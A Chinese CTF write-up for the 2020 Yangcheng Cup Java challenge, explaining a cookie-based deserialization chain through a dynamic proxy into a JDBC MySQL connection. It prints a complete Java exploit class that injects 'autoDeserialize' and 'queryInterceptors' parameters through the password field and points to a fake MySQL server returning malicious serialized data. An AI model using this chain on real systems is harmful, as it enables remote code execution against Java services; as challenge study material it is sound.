羊城杯2020-a_piece_of_java
1diot9 Lv4

知识点

动态代理触发实体类的危险方法+jdbc mysql反序列化

解题过程

先看一下Controller里面的代码:img

整体的逻辑还是比较简单的,就是在index传入username和password,然后把这些数据封装到UserInfo对象,并存储到Cookie作为登录凭证。当我们访问hello的时候,Cookie中的数据会被deserialize,我们的username和pasword也就出来了。

那么应该可以想到这么一些东西:deserialize的数据在cookie里,而cookie的数据我们可控,即我们可以操纵反序列化的数据

上面的东西是题目的一环,不过条件还没用完,我们去看看其他文件,能够发现DatabaseInfo里面有数据库连接的行为:img

connect()里面的密码是直接拼接的,意味着我们可以在后面添加任意参数。然后这个checkAllInfo又调用了connect()。那怎么样才能触发这个checkAllInfo呢?这个就要用到我们的最后一个条件,动态代理。

去看看这个动态代理:img

很明显,这个invoke里面是有checkAllInfo的,而且只要调用被动态代理类的方法,这个invoke就肯定会被调用。那整条链子就出来了,先直接看EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
package gdufs.challenge.web;

import gdufs.challenge.web.invocation.InfoInvocationHandler;
import gdufs.challenge.web.model.DatabaseInfo;
import gdufs.challenge.web.model.Info;

import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Proxy;
import java.util.Base64;

public class EXP {
public static void main(String[] args) throws IOException {
DatabaseInfo databaseInfo = new DatabaseInfo();
databaseInfo.setHost("127.0.0.1");
databaseInfo.setPort("3309");
databaseInfo.setPassword("123456&autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor");
databaseInfo.setUsername("root");
InfoInvocationHandler infoInvocationHandler = new InfoInvocationHandler(databaseInfo);
Info info=(Info) Proxy.newProxyInstance(databaseInfo.getClass().getClassLoader(),databaseInfo.getClass().getInterfaces(), infoInvocationHandler);
byte[] bytes = serializeBytes(info);
System.out.println(Base64.getEncoder().encodeToString(bytes));
}

public static byte[] serializeBytes(Object object) throws IOException {
ByteArrayOutputStream byteArrayOutputStream=new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(object);
return byteArrayOutputStream.toByteArray();
}
}

我这里正向整理一遍:deserialize后得到我们设置的DatabaseInfo的动态代理,赋值给info;info.getAllInfo()触发动态代理里面的invoke();invoke里面的checkAllInfo()触发DatabaseInfo里面的connect()。从而触发漏洞。

接下来只要用python在3309端口开一个fake mysql的服务,然后返回恶意的序列化数据就可以了,就是之前学的mysql jdbc反序列化里面的内容。

由 Hexo 驱动 & 主题 Keep
本站由 提供部署服务
总字数 52.9k 访客数 访问量